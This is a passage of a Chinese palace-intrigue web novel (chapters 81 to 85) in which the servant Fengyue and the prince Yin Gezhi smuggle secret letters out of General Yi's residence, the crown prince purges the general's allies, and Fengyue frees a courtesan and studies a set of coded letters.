有那么一瞬间,风月甚至想给他行个军礼,问上一句:“将军,卑职今后是否都在您麾下,受您庇佑,替您冲锋了?”
然而不用问也知道,是的,殷戈止这个人极其护短,与他同一条船,那只要有风浪拍过来,他都会挡。在他身后,比在什么地方都安全。
拍了拍这东西,风月直接塞进了自己怀里,然后揉了揉屁股。
这玩意儿材质很特殊,说软不软,说硬也不硬,而且十分轻巧,拿来垫着,虽说是减轻了不少痛楚,但到底还是要受点儿苦的。一瘸一拐地往屋子里走,风月问:“嬷嬷,奴婢晚上跟您睡?”
“老身这儿有多的被子,打个地铺就好了。”引着她进门,荀嬷嬷打开柜子就开始铺床,嘴里絮絮叨叨地说着:“这是冬天的被子,有些热,我拿个凉席给你铺在上头。我这儿很久没人来了,都是我一个人住,你将就些。”
风月点头,突然觉得这嬷嬷好像挺喜欢人陪的,也没有那几个小姐说得那般可怕。她们觉得可怕的话……那多半是吃不了学规矩的苦,不像她这种皮糙肉厚的,以往沙场上站习惯了,做什么都不觉得累。
床铺好了,风月慢慢趴下去,舒服地叹了口气,然后扭头朝荀嬷嬷笑了笑:“多谢嬷嬷!”
对着谁她都能唱大戏,但是对这种慈祥的老人家,她就想乖乖蹲人家面前摇尾巴。
荀嬷嬷欣喜地叹了口气,看起来心情很好,将桌上放着的麻团给她吃,道:“我话有些多,闲得无聊给你说说这将军府吧,你别嫌嬷嬷烦。”
“不会不会。”风月笑道:“您说吧,奴婢爱听。”
是真的很爱听啊!本来还要花功夫去打听,而且不一定能打听到,现在有府内老人专门说给她听,求之不得。
于是荀嬷嬷就拿了绷子和绣花针,一边绣手帕一边开口道:“说将军府,自然要从大将军说起。易大将军是平民出身,家里做些小生意,地位不高,可功夫不错,会打仗,所以从军没两年就混成了个百夫长。之后就是易小姐……易大将军的妹妹易禹萱,得幸入宫,只一年就封贵妃,连带着易大将军就在剿匪之战后当了将军,恩赐良多。接着同魏国交战,易大将军战功赫赫,皇上就给赐了府。”
眨眨眼,风月忍不住问:“您就是在易贵妃身边伺候的?”
“是啊。”荀嬷嬷道:“易贵妃容貌艳丽,圣宠十年不衰,只可惜没个子嗣,再得宠也只是贵妃。不过陛下没嫌弃她,恩宠不少,她日子过得也不错。”
无子嗣,不争后位也不争皇位,那身边有什么秘密值得大将军把伺候过的宫人都圈养在府里不让走?风月想不明白,眼里满是好奇。
看见她这神色,荀嬷嬷就猜到了她在想什么,微笑道:“能坐稳高位的人,自然是滴水不漏,就算咱们什么也不知道,也出不去这将军府。”
小心翼翼地看了看四周,风月捂着腰撑起身子,凑近荀嬷嬷一点,眨巴着眼问:“那您当真什么都不知道吗?”
眼神有一瞬间的闪躲,荀嬷嬷道:“知道不知道的,都是要带进棺材的,有什么要紧?”
“要紧啊!”风月认真地道:“奴婢想听!”
一双眼闪闪发光,像极了那些个茶肆里吃饱了没事干要听人私事趣闻的闲人。荀嬷嬷失笑,反手敲了敲她的脑袋:“不是说知道得多死得快吗?”
“奴婢想通了,反正都不知道自己什么时候会被主子打死,那临死前不如多知道点事儿。”咬牙往自己身后看了看,她一脸悲愤。
这姑娘委实有趣,加上也没别的事要做,荀嬷嬷想了想,将手里的绣花针放了,起身去关上了门。
“这么多年了,老身一直想不通一件事。”在她身边蹲下,荀嬷嬷缓缓地道:“贵妃娘娘曾经怀过孩子,皇家的子嗣,无比的尊贵,可她自己流掉了,还顺带着害**一个昭仪。用自己的孩子去对付一个昭仪,不觉得不值得吗?”
皇家秘事啊!风月兴奋了起来:“她自己流掉的?”
眼神有些迷茫,荀嬷嬷像是在回忆什么,然后喃喃道:“是她自己心情不好喝多了酒,没日没夜地关在宫殿里喝,大夫明明说过不能喝酒的……之后有一天她不喝了,沐浴更衣之后散了很久的步,然后就撞见了那昭仪娘娘,推搡之中一倒地,孩子就没了。皇上大怒,将昭仪娘娘关进了冷宫,可是老身不明白,要是当真想要这孩子,她怎么会喝那么多酒?可要是不想要……她为什么会不想要?”
听得一脸震惊,风月下意识地就说了一句:“该不会不是皇上的吧?”
脸色一白,荀嬷嬷惊恐地看了她一眼。
被她这眼神吓到,风月连忙摆手:“奴婢随口胡说的,嬷嬷别往心里去。”
张了张嘴,又闭上了,荀嬷嬷摇头,长出了一口气,转了话头道:“不过易将军对贵妃娘娘很是关心,在国都的时候一月要进宫三次请安,也是有他在,娘娘才没被什么人欺负。”
“嬷嬷。”风月眨眼:“奴婢能问个问题吗?”
“你问。”
“大将军进宫请安的时候,通常跟娘娘聊些什么?”
摇摇头,荀嬷嬷道:“他们兄妹说话,所有宫人都在外头等着的,没人能进去,自然听不见说什么。”
这样啊,风月点头,又笑道:“早些歇息吧,奴婢这身子可能要躺两日,正好不用干活儿,可以陪嬷嬷聊天解闷。”
“分明是我说你听,还说是陪我解闷?”荀嬷嬷摇头:“得了便宜还卖乖!”
“嬷嬷最好啦。”风月嘿嘿直笑,把脸往枕头里一埋,直接假寐。
荀嬷嬷起身,给她盖好被子,然后打水收拾了院子,之后才上床,平躺着双手交叠放在肚子上,规规矩矩地入睡。
睡着睡着,风月就觉得身子一飘,失重之感让她立马睁了眼!
天已经黑了,今晚连个月亮都没有,很是适合**放火,偷鸡摸狗。
正准备去偷鸡摸狗的殷戈止殿下穿着一身黑不隆冬的衣裳,墨发高束,正抱着她飞出荀嬷嬷的院子。
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“哎哎?”风月小声问:“您做什么?”
偷东西就好好去偷啊,偷她这个人干什么?
嫌弃地看她一眼,殷戈止径直将她扔在无人的角落,然后伸手就来!
“喂!”风月咬牙,双手环胸:“殿下,您想要奴家,也得看看地方吧?”
翻了个白眼,殷戈止扯开她的手,双手扣着压在后头的墙上,而后低头,雪白的獠牙咬开她的衣襟,直接将那片儿护心麟给叼了出来。
风月:“……”
这丫属狗的?
“您不是该去客房吗?”手被松了,风月尴尬地整理着衣襟,小声问了一句。
殷戈止没吭声,从怀里掏出个东西,递到她面前。
眯着眼睛在黑暗里看了半天,才看出来这人手里的是她扔了的那个耳环。
已经到手了?!风月愕然:“这么快?”
府里半点动静都没有啊,连“走水啦”这种声东击西的招数都没用,他就已经拿到了?
轻蔑地看她一眼,殷戈止道:“若不是你有两分用处,这么蠢的脑子,我真该让你**。”
她蠢?!风月瞪眼,反正四周一片黑谁也看不见谁,胆子瞬间就肥了:“奴家怎么蠢了?要不是奴家,您也不会那么简单地就找到地方啊。”
“所以说你有两分用处。”殷戈止道:“剩下的就是蠢。”
我靠,这是成事了有心情来挤兑人了?风月眯眼,脚下狠狠地一跺!
“唔。”殷大皇子吃痛,恼怒地道:“你做什么?”
“不好意思啊,奴家看不见,只当这儿有地可以踩呢。”无辜地眨眨眼,风月道:“既然您完事儿了,护心麟也拿回去了,那奴家回去继续休息了。”
“慢着。”殷戈止抿唇:“还有件事要你做。”
“什么?”
“客房里的东西。”殷戈止抿唇:“太多了,我一个人没办法全部弄出去,现在都堆在你住的院子的后头,你想个办法,天亮了把那些东西运到后门。”
啥?!风月脸都绿了:“还天亮了运?您当这儿是使臣府啊来去自如的?那么多机密的东西,奴婢这种丫鬟,怎么跟人解释?”
“这不归**心。”殷戈止微微勾唇:“我信任你。”
你信任鬼去吧!鬼能飘,她不能!风月气得瞪眼,刚想再说,却被这人面兽心的混蛋扛起来,无声无息地扔了回去。
苍天呐!风月很崩溃,她该怎么办?先不说别的,明儿一早起来,怎么跟荀嬷嬷解释那一堆凭空冒出来的东西?
头疼地把脸埋进枕头,风月想,去他奶奶的吧,就当什么都不知道,明儿跟荀嬷嬷装傻好了,死道友不死贫道!
然而,第二天一大早,荀嬷嬷睁开眼的时候,却看见风月笑眯眯地拿着毛笔问她:“嬷嬷识字吗?”
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第82章 风雨将起
摇摇头,荀嬷嬷道:“倒是不曾识字,你想写字?”
“啊……是啊,殷殿下让奴婢练字。”心虚地别开脸,风月道:“不过嬷嬷要是不识字,那奴婢还是自己趴着练吧。”
瞧着她有些奇怪,荀嬷嬷起身,先洗漱更衣,而后端端正正地坐在她面前问:“天都没亮,殷殿下怎么会来让你练字?”
眼睛眨啊眨啊,风月咬着毛笔傻笑:“谁知道主子怎么想的呢?还给了奴婢一大堆书让奴婢看,都堆在后院了。”
好奇地起身,荀嬷嬷去屋子后头瞧了瞧,果然是有一大堆纸和册子,于是回去问风月:“将军府里的书?”
风月点头:“是将军府里的没错!”
“堆在这里也不像话,殷殿下怎么不让你去书阁看啊?”
“这些……似乎是殿下想拿回使臣府让奴婢看的。”趴在自己的床上,她低着头道:“来的时候殿下就说将军府藏书甚多,定要借点回去。”
微微皱眉,荀嬷嬷有些疑惑地看她一眼,这孩子,说话这么紧张,怎么让人相信是真的啊?
转头就想出门找人问,结果门刚打开,就见易掌珠身边的点钗带着人过来了,站在外头道:“这些都是殷殿下要的书,殿下说了,让风月先自己搬回使臣府,再自个儿回来复命。”
荀嬷嬷皱眉,看了看她背后的家奴手里抱着的书,又回头看了一眼后院的方向,摇头道:“风月还伤着,怎么可能搬得动这么多书?”
“那奴婢就管不着了。”翻了个白眼,点钗道:“话带到了,殷殿下的意思,请风月姑娘午时之前务必回来。”
说罢,挥手让人将书放在门口,转身就走。
荀嬷嬷脸色有点难看,盯着那些书籍看了一会儿,转头进屋去,很认真地蹲下了问趴在地铺上的风月:“你连殷殿下也得罪了?”
“嗯?”正冥思苦想解决办法的风月冷不防听见这么一句话,茫然地抬头:“殷殿下?”
得不得罪他,他都是那个谁都欠他命样子啊!
叹息一声,荀嬷嬷道:“方才点钗姑娘来了,又送了一堆书,说是殷殿下让你一个人搬回使臣府去,午时之前要回来……你说说,这不是为难人吗!”
“太好了!”兴奋得差点跳起来,风月咧嘴,抬眼就对上荀嬷嬷震惊的眼神,身子立马就压了下去,语气缓和地道:“奴婢是说,这也太过分了!怎么能这样呢!”
这孩子是被打傻了吧?荀嬷嬷怜悯地看着她,想了想,道:“我替你找人弄辆牛车,你可以把那两堆东西都运回去。”
“多谢嬷嬷!”风月这叫一个感动啊,拉着荀嬷嬷的手就道:“以后奴婢一定不会忘记您的!”
拍拍她的手,荀嬷嬷笑着起身出去。等那影子消失在门口,风月立马就蹦起来往后院跑。
幸好荀嬷嬷不识字,这些机密的信件,来往的账本和各种名单她都看不懂,算是让她逃过一难。挨个仔细地夹进点钗刚送来的书里,风月觉得,殷戈止还是有良心的,没当真把这种艰巨的任务交给她一个人完成,不然可能真的要给她收尸了。
牛车找好了,荀嬷嬷帮着风月把书慢慢搬上车,点钗在后门门口看着,对荀嬷嬷这么帮忙有些不舒坦,不过看看风月那一脸痛苦扭着脚走着路的样子,倒也算爽快。
一堆书从她眼前过去,点钗看也没看,直接让人放行。
于是,身残志坚努力干活儿的小丫鬟风月,就抱着将军府最多的秘密,痛苦地走在了回殷戈止老巢的路上。
殷戈止在将军府慢悠悠地喝茶,没一会儿点钗就来复命了,颇为不满地指责了荀嬷嬷两句,又朝他道:“倒是辜负了殿下一番磨砺之心。”
“无妨。”他淡淡地道:“不必跟个丫鬟计较太多。”
“是啊。”易掌珠颔首:“咱们还有更重要的事情要做,太子哥哥已经答应给贫民以援手,现在我要去订衣裳的款式和料子,殷哥哥陪珠儿去吧?”
“好。”殷戈止颔首,甚是有风度地跟着她出门,从布庄跟到钱庄再跟到布庄,又陪她在街边吃小摊儿上的馄饨,再十分体贴地护着她穿过拥挤的人群,整整一上午,一句怨言都没有。
易掌珠感动极了,她觉得自己的殷哥哥又回来了,四周也都是赞叹之声,无不是说她命好,这位公子真是有气势之类的,听得人很是受用。
没几个时辰,叶御卿那儿就收到了消息,听得他怔愣不解:“陪着珠儿?”
“是,据看见的人说,殷殿下身边没有别人,目光一直停留在易小姐身上,看起来很是倾心。”
殷戈止一直喜欢易掌珠,他知道,但本以为风月会慢慢取代他心里易掌珠的位置,没想到……大概得不到的才是最好的?
不过他喜欢易掌珠是好事啊,不能当真在一起,却会因为喜欢她,而对易大将军多为宽容。原先他一直担心殷戈止会逮着机会就弄死易国如,现在有易掌珠在,他也能放心些。
摇了摇扇子
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,太子殿下觉得,至少在目前看来,殷戈止是可以完全倚仗的。
午时一到,风月麻溜儿地就在荀嬷嬷房里继续趴着了。
荀嬷嬷问:“都搬完了?”
“搬完了,殿下想必不会再为难奴婢。”咧嘴笑得开心极了,风月抱着枕头道:“可以睡两天安生觉了。”
岂止是安生啊,简直还能做几天好梦,愉快地迎接之后的暴风雨!
太子殿下要的名单很快到了他手里,虽然收到的时候叶御卿觉得太快了,很是不可思议,但按照名单上的名字去查人,一查一个准儿,都是与易大将军有千丝万缕联系的人。
这下就好办了,老虎不在家,家里的少主人直接挥起手里的刀,一刀狠狠地砍了老虎留在家里的尾巴。
冷严获罪,直接被关进了大牢,对着自己亲笔的书信和来往的账本一脸懵逼,压根不知道这些东西为什么会落在太子手里。禁军之中有八十禁卫、十个将领入狱,史称“御军洗”,一夜之间,很多人在不知道发生了什么的情况下,就蹲在了大牢里。
不阴城又是一日大雨,风月站在凉亭里,捂着腰眼子笑眯眯地道:“**啊,**。”
国都里的军权,最重要的也就是禁军和护城军,太子雷厉风行,在这一个月不到的时间里,把两处都给抽筋扒骨了,稍微有脑子的人都知道,他这是要冲易大将军下手了。
有老臣在朝堂之上以头磕柱,说吴国要重蹈魏国覆辙,将士在边关拼杀,皇权却挥刀对准将士的背心。
一向温和的叶御卿当即在朝堂上摔了扇子,满脸怒气地道:“我大吴国的将士,皇室的禁军,竟然成了别人的背心?廖大人,您此话何意?”
一句话呛得那老臣哑口无言。是啊,谁都知道最近抓的人都是易大将军的人,但岂能是放在朝堂上直说的?谁的人,当了朝廷的官,那都该是朝廷的人!
于是,再有想求情的,都往皇帝的御书房递折子。老皇帝懒得看,转头还是扔给了太子。
叶御卿就抱着这些折子,挨家挨户上门谈心,吓得一群人战战兢兢,再也没敢多说一个字。
殷戈止本该在完事之后就回使臣府的,但他没想走,风月也不想出去,就抱着易大将军府的柱子,笑眯眯地道:“这屋檐大啊,大点好,什么雨也淋不到。”
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第83章 卖艺不**
斜她一眼,殷戈止道:“你倒是机灵。”
“过奖过奖,在您麾下,蠢了可就没活路了。”眼睛弯成月牙,风月一脸谄媚地道:“跟着殿下,奴家觉得很安心。”
嫌弃地睨着他,殷戈止板着脸问:“是因为觉得我厉害?”
“不!”风月握拳:“是因为您两个徒儿已经坐上了护城军统领和都尉的位子,等于咱们在这吴国的官场里有人了啊!就算不小心进牢里了,以那两位公子对您的尊敬程度,一定把您给抬出来,顺带就能捎上奴家。”
说着,一抬下巴就朝他抛去一记秋波。
漠然地无视这秋波,殷戈止道:“你别太得意,当真犯事进去了,他们保不住你。”
“奴家知道。”风月道:“不过禁军统领大人获罪入狱,这位置会落在谁手里啊?您可没有第三个徒弟了。”
“禁军是皇室的盔甲。”殷戈止道:“太子只会用忠于皇室之人,这个不用你操心,你还是先将手里的东西整理好,看看还有什么能用。”
易大将军的客房里藏的都是好东西,除了一目了然的账本之类,还有不少没有署名的密信,内容殷戈止没来得及看全。
风月垂眸,笑着应了一声:“是。”
暗地里与易大将军来往的人很多,他们说的秘密也很多,她不是很感兴趣,毕竟是吴国的事情。
但,那么多陈旧的信里,没一封提及关苍海。
当年殷戈止是收到告密信,说是关苍海与易国如暗中有往来,出卖了军机。那么现在,往来在哪儿啊?那么重要的信,是不会被轻易烧毁的,可她翻遍了那一大堆的书信,半个字都没有。
捏着的拳头紧了紧,复又松开,风月笑着抬头问了一句:“殿下,您觉得,要是哪天易大将军真的犯了大错,证据确凿,吴国的皇帝会处死他吗?”
“不会。”想也不想,殷戈止摇头:“时局动荡,易国如是吴国的利剑,不管怎么样,他也折不了。”
那为什么关苍海就折了呢?!
很想将这句话吼出来,然而吼出来的后果太严重了,她只能生生压下,盯着地面冷静了一会儿,又笑道:“奴家去忙了。”
殷戈止侧头,盯着她的背影看了一会儿,微微皱眉。
来将军府上的人很多,而且大多是半夜来的。可府上就易掌珠一个主事的,并着些什么也不知道的姨娘,让众人一时慌了神。
不过他们慌归他们慌,风月倒是从荀嬷嬷的院子里以“学好了规矩要贴身伺候”的理由,趁着易掌珠焦头烂额,暗戳戳地混到了殷戈止的房间里睡。
同样是床,殷戈止的床上就铺了凉玉席,那不睡白不睡啊!反正大家都是游手好闲看热闹的,凑个床一起睡啊!
于是这天晚上,月黑风高,当易掌珠披着斗篷推开客院的门的时候,风月就被殷戈止一脚踹到了床底下,玩了一把狮子滚绣球。
“殷哥哥。”眉目间满是忧愁,易掌珠进来就放下了斗篷的帽子,哽咽着道:“珠儿不知道怎么办了。”
三更半夜的,这易大小姐也真是不顾名节了,竟然搞夜奔?风月无声地咋舌,心想这孤男寡女干柴烈火的,是不是要出点事儿啊?
殷戈止那衣冠禽兽的声音温和地响起:“怎么了?”
还能怎么了!你害得你的小美人儿琐事缠身,人家搞不定了,来找你了呗!翻了个白眼,风月换了个舒坦的姿势躺好,然后准备听个壁角。
易掌珠叹息,犹犹豫豫地开口:“最近出了不少的事情,很多叔叔伯伯都来让我联系父亲,可是这国都离边关甚为遥远,等消息来回,怕是要一个月,他们好像很着急。”
哦,很着急,然后呢?告诉殷戈止能咋地?让他变成鸟人飞过去?风月撇嘴。
“你是女儿家,不必操心这些。”殷戈止道:“做你自己想做的事情即可。”
说是这么说,易掌珠咬唇,眼里陡然多了些怨恨:“可太子哥哥也太过分了!为什么非要同这些人过不去?如今国泰民安的,他们也没犯什么大事,非得革职查办这么严重?”
还没犯什么大事?风月愕然,别的不说,冷严**,买卖禁军名额,将毫无武力之人收进禁军吃皇粮,这件事就足够他死一百次了,不叫大吗?叶御卿是怕处置太狠引起反弹,所以才定了革职查办,她还觉得严重了?
吴国将军府的女儿真可怕。
然而,外头那个魏国的大皇子,竟然还顺着她的话点头:“是啊,太子殿下有些急功近利了。”
要不要脸了?有没有底线了?
感动地看着殷戈止,易掌珠道:“父亲不在,珠儿能依靠的只有殷哥哥你了,还望殷哥哥帮珠儿想想办法,阻止太子哥哥。”
“掌珠。”殷戈止皱眉:“我只是质子,无权插手吴国之事,实在爱莫能助。”
“那……”呜咽出声,易掌珠问:“那怎么办啊……太子哥哥跟我对着干,你也帮不了我……”
越说哭声越大,话没说完干脆直接抽泣了起来。风月听着,心想这种时候,殷戈止好生安抚她一下,抱一抱亲一亲,那易小姐基本也就被他抓牢了,以他的个性,这种送到嘴边的肉,那是不咬白不咬的啊!
然而,外头那人却道:“回去喝些热茶,好生休息吧,别多想了。”
易掌珠:“……”
这一张脸哭得是梨花带雨我见犹怜啊,为什么殷哥哥还让她走?她想不明白,有点委屈地抬眼看着面前这人。
殷戈止神色温和,眼里却没太多情绪,看着她这张只有眼泪没有鼻涕的脸,低声道:“时候不早了,你再留在这儿,怕是对名节有损。”
本来就没顾着名节来的,却被他这么说了一句。易掌珠涨红了脸,起身就走,走到门口却停了下来,回头看了他一眼,问:“殷哥哥当真喜欢珠儿吗?”
“喜欢。”殷戈止淡淡地答。
可书上都说男子喜欢女子,会很想跟她……他为什么每次都将自己推得远远的?虽然她没有献身的打算,可他这半点不感兴趣的态度,也着实让她心里不舒坦。
咬咬牙,
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她又问:“风月姑娘现在是算您的丫鬟还是暖床的?”
“通房丫鬟。”四个字,给了风月一个精准的定位,让床底下躲着的人龇了龇牙。
脸色更白了一点,易掌珠问:“殷哥哥喜欢跟她睡?”
“珠儿。”脸色微微沉了沉,殷戈止道:“注意身份,莫要失言。”
这种话哪里是个高门大小姐能说出来的?
很是耻辱地转头,易掌珠飞快地就跑走了,临转头的那一眼,当真是充满了不甘和委屈。
殷戈止平静地看着,顺手去关上了门,带上了栓。
转头,床下面伸着个脑袋,表情诡异地看着他。
“作甚?”他问。
“您不想跟易大小姐睡啊?”风月神色古怪地问。
这话从这种人嘴里说出来,殷戈止就觉得很顺耳,并且嫌弃地瞪过去:“瞎说什么?”
从床底下爬出来,风月道:“摆明了人家是来求您安慰一二的,您倒好,让人家回去喝个热茶就完事了。殿下,您这样怎么讨女人欢心啊?”
看了一眼她寝衣上的灰尘,殷戈止伸手就把她衣裳扯了,后者还挺配合,一点也没有要害羞的样子,伸手任由他剥了皮,然后穿着肚兜堂堂正正地站在他面前,继续叨叨:“您最近不是总爱表现得很喜欢易大小姐的样子吗?那好歹演到底,别让人家本人怀疑啊。”
“你知道我在演?”殷戈止冷笑:“万一是真的呢?”
“是真是假奴家不知道,但您这故意要表现的意思,奴家看出来了。”眯了眯眼,风月道:“虽不知殿下意欲何为,但戏得做全套,才能让人信服。”
伸手抱起她,将她那沾满灰尘的下袴也脱了,然后将人扔去床上,殷戈止淡淡地道:“卖艺不**。”
啥?风月怔愣,仔细想想这五个字,脸都青了。
真不愧是殷大皇子,就是这么厉害,就是这么不讲道理,人家姑娘家家的都没在意损失,他倒还嫌弃人家了?
也不知道易掌珠是倒了几辈子的霉,碰上这么个禽兽,还把他当宝似的!
躺在床上,殷戈止伸手搂过她,像两只虾米似的弯着脚挤在一起。
“明日回使臣府。”殷戈止道:“你还有什么事没做完吗?”
“有。”风月问:“可以把荀嬷嬷带出去吗?”
“将军府的规矩,奴仆不得外赠。”
“那就没有了。”风月闭眼:“奴家明日去一趟梦回楼,整理些东西,之后再回使臣府跟您请安。”
她的肚子软软暖暖的,搂着手感非常地好,殷戈止听着听着就走了神,伸手去捏了捏。
“嗷!”下意识地就挠了他一爪子,风月怒道:“不要捏!”
背后的气息瞬间森冷,于是她怒着怒着就软了,可怜巴巴地道:“肚子上很痒,您换个别的地方捏捏。”
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第84章 你自由了
肚子上的手微微一僵,身后的人淡淡地道:“你怎么跟猫似的,摸不得肚子。”
“这很正常啊,很多人的肚子摸着都会觉得痒。”顺口解释了一句,风月吧砸了一下嘴就靠在他怀里闭上了眼。
殷戈止沉默,一双眼在黑暗里睁着,有点迷茫。
第二天,风月老早就起身,去给荀嬷嬷请了个安。
“奴婢一定会去您说的地方找阿虎的。”朝她行礼,风月认真地道:“若是知道了消息,定当来报。”
“好,好。”荀嬷嬷颔首,眼里隐隐有些水光:“你有这份心就好了。”
有心哪儿成啊?一定得去做才是,就算看在那一碟子麻团的份儿上,她也得往那村子跑上一跑。
于是在跟易大小姐辞行、经历了一番挽留与拒绝之后,风月高高兴兴地就蹦上了马车。
“屁股不疼了?”背后有人冷声说了一句。
风月一听,立马“哎哟”一声,抓着车辕捂着腰眼,十分痛苦地爬进车里去。
嗤了一声,殷大殿下也跟着上来,斜眼看着她道:“装得太假了。”
“那是,奴家哪有您会装啊?”风月撇嘴。
旁边坐着的人目光平静地落在她身上。
感觉到了点杀气,她一扭头,立马笑得跟朵迎春花似的:“奴家是说,不管什么方面,殿下都比奴家强太多了,是奴家效仿的榜样,是奴家前行的方向!”
轻哼一声,殷戈止别开头,坐得笔直地道:“做好你自己该做的,别的不用多说。”
嘴上这么说,心里听着好话明明就还是很爽的!风月撇嘴,掀开帘子看着外头,等到了招摇街附近,立马喊停了车,跟只老鼠似的一溜烟蹿了个没影。
殷戈止瞧着,当真是很想不明白,就这种跑得跟风一样的野丫头,人家教**嬷嬷是为什么觉得她很好的?
风月跑得极快,依旧从后院溜进梦回楼,找着金妈妈就问:“什么情况了?”
金妈妈正在嗑瓜子,看见她,一点没惊慌,拉了她到屋子里就给她塞了一把五香的,然后在软榻上坐着道:“吴国要出大事啦。”
“我知道。”风月点头:“我是问易大将军那边是什么情况?”
“等他收到消息,也得半个月之后了,半个月的时间,足够咱们太子殿下将他的手足砍个干净。”金妈妈道:“您着急个什么啊?都不关咱们什么事儿,咱们嗑瓜子就好了,要茶味儿的吗?”
看她这么轻松的样子,也就是没有发生任何对她们不利的事情了。松了口气,风月看了看外头:“生意怎么又这么好了?”
“何愁不是回来了吗?”金妈妈道:“花魁的名头还在,凑热闹的人自然多了。我还想给她放个假让她好好休息几日呢,谁知道那丫头跟断弦聊了一会儿之后,坚持要接客。”
断弦?风月皱眉:“不是不让她挂牌了吗?”
大仇已报,不去过自己的好日子,还在这地方呆着做什么?
“她说想等您回来,这几日也是歇着的,您放心吧。”金妈妈说着就起身,打开门,伸手一抓就跟抓鸡崽子似的把断弦拎了进来。
“东家。”脸上脂粉全无,断弦看起来竟然有些苍老,不过换了一身正常的衣裳,倒是挺温良的,尤其看她的眼神,那叫一个欲语还休感恩戴德,完全没了以前的挤兑和嘲讽。
“行了,别喊这个。”指了指旁边的凳子让她坐下,风月翘着二郎腿,痞里痞气地问她:“大仇报了还不走?想干什么?”
“……我,还想再见您一面。”捏着衣裳,断弦看着她,说着说着话眼泪儿就往上冒:“想谢谢您的大恩。”
“得了吧。”伸手拿帕子捂了她的脸,风月撇嘴:“咱俩之间还是相互挤兑比较舒坦,别来什么大恩大德永生难忘之类的话,俗!”
“可是……”
“别可是了,我只是给了你个挣钱的地方,再给了你个报仇的机会。”风月道:“钱是你自己挣的,仇也是你自己报的,跟我没什么关系,用不着谢谢我。真的要谢也可以,把你棺材本拿出来给我买点心吃。”
帕子捂在她眼睛上,断弦也没去扯,就任由风月这么压着,嘴巴一扁,两道鼻涕就流了下来。
“噫……”嫌弃地皱眉,风月干脆连她鼻子下头一块儿捂了。
“我挣的银子,都留给您。”断弦艰难地吸着气道:“反正我拿着也没用,已经一个家人都没有了。”
微微一顿,风月皱眉,看了她一会儿之后道:“你别给我说,大仇报了,你活不下去了,所以打算来谢恩然后给我遗产再去自尽。”
断弦:“……”
东家真是很厉害啊,怎么什么都知道?
“可歇会儿吧。”翻了个白眼,风月道:“这世上还有很多事情你可以做,难不成好不容易报了仇,你就着急赶着下黄泉去再见李勋一面,跟他去同一个油锅里炸?”
“我为什么要下油锅?”听着听着断弦就不乐意了:“除了报仇,我可没做过什么坏事。”
“那行,你不下油锅,你排在他后头投胎。”风月摇头:“用你这么多年的处心积虑换跟他殊途同归,你亏不亏啊?
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”
想想好像也挺有道理的?断弦伸手,拿开了帕子,眼泪鼻涕糊了满脸地看着她:“那我该去哪里,该做什么啊?”
“去睡你想睡的男人,看你想看的风景,吃你想吃的东西。”风月挥手:“咱们梦回楼的人不挂牌了,都是有奖励的,游山玩水的花销,统统可以找金妈妈报销。”
嗯……嗯?!正在嗑瓜子看好戏的金妈妈瞪大眼:“银子都在您那儿呢!”
“我知道,之后给您,反正我也没空管,瞧您激动得。”风月撇嘴,推着断弦往后门走:“天地广袤,不好好享受一下,怎么对得起人间走一遭啊?”
“可是……”
“别可是了。”到了后门门口,风月打开了门栓,朝她灿烂一笑:“没有仇恨的人是最自由的,海阔凭鱼跃,天高任鸟飞。”
说着,手上微微用力,将断弦推出了梦回楼的后门。
四周的变化好像都慢了下来,断弦睁大眼,慢慢回头,就见风月朝着自己笑得很开心,摆了摆手,缓缓关上了门。
喉咙有点发紧,她站稳脚,朝着那关上的门张了张嘴,却什么也没能说出来。
关上门的风月心情很好,蹦蹦跳跳地就回到金妈妈身边。
金妈妈“呸”着瓜子壳,伸手拉了她的手来瞧了瞧,摇头道:“真是不知道爱惜身子,这伤没好好养吧?手上现在都还这么一大块淤青。”
“骨头不痛就行了。”风月道:“干活儿都没感觉了。”
微微皱眉,金妈妈叹息:“您也得心疼下自个儿。”
“我疼了。”风月痞笑:“做了不少对自个儿好的事情。”
说起这个,金妈妈严肃了神色,拉着她上了三楼,关上了门。
“您送来的东西,我们全部都仔细研究过了,其中这个字迹的信来往最多,已经让人在查是谁的字迹。”拿了张纸出来,金妈妈指着道:“不过要是咱们接触不到的人,没有字迹样本,那也就查不了。”
拿过纸来看了看,风月道:“来往内容是什么?”
“就是这个内容有意思。”金妈妈笑道:“没什么要事,全是些诗词歌赋,不像是传递消息的,倒像是友人间的问候。”
友人间的问候?风月挑眉,接过原件一看。
“画楼一夜多风雨,宫漏三声乃入眠。清水淡药裹口舌,牛羊肉糜难下咽。”
这是个啥?
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第85章 师门规矩
翻来覆去看了两遍没看明白,金妈妈又递了别的信来,风月一一展开。
“午时一觉三刻眠,又添桃羹一抹香。”
“世人皆道人参好,独君偏爱野丹药。”
“后宫多有好颜色,百福宫里总是春。”
的确像是友人间的问候,以及跟易大将军说近来自己吃什么喝什么什么时候睡觉皇帝又去了谁宫里之类的。风月挑眉:“难道是易贵妃写的?”
“易贵妃?”金妈妈瞪眼:“您怎么说到她头上去了?”
“在将军府里听来的。”风月道:“说易贵妃跟易大将军兄妹之情甚笃,看这内容,也许是贵妃写来给大将军汇报自个儿情况,以求大将军安心的。”
“可真够无聊。”金妈妈撇嘴:“那宫门深深,虽说里头不太平,但哪里会饿着她?也不至于吃什么喝什么都写来传吧,那她身边的人道是方便,随时都能出宫的。”
“好歹是受宠了十几年的贵妃,这点本事都没有,还怎么混啊?”风月摇头,把这堆信收好:“你都找人临摹下来了吗?”
殷戈止的意思,总不能让易大将军回来发现自个儿客房里的东西空了,所以这堆东西一边用一边让人抄下来,抄完了就把原件给还回去。到时候大将军回来追查,也是什么都不会查到。
金妈妈点头:“除了这一堆东西,其他的都临摹得差不多了。”
想了想,风月道:“这个也抄,字迹尽量一样,纸也用一样的。”
“好。”金妈妈应了,又问:“您还要去使臣府?”
“为什么不去?”风月道:“命都在人家手里捏着,不把人讨好些,难不成等着以后被人抹了脖子?”伸手做了个抹脖子的动作,风月表情很夸张。
金妈妈的神色有点复杂,看了她一会儿,低声道:“郑氏来跟我聊了许多,东家,她们很担心您。”
微微一愣,风月别开了头:“上了年纪的人,都喜欢瞎想,我没事的。”
“可……”
“行啦。”摆摆手,风月道:“您酿的那种酒还有吗?给我带上两坛,送去给殿下尝个鲜。”
欲言又止,金妈妈闭眼叹息。郑氏真是太高估她了,在这位主子面前,谁能说得出什么劝解的话啊?她这脾气是决定了就非往前冲,压根不管前头是刀山还是火海。
金妈妈不是魏国人,认识风月也只有三年,很多过去的事情风月没跟她说,她也没仔细问过。郑氏要是早些告诉她风月以前很爱慕那殷殿下的话,她说什么都会拦着不让她接这客的。
可是现在,好像已经拦不住了。
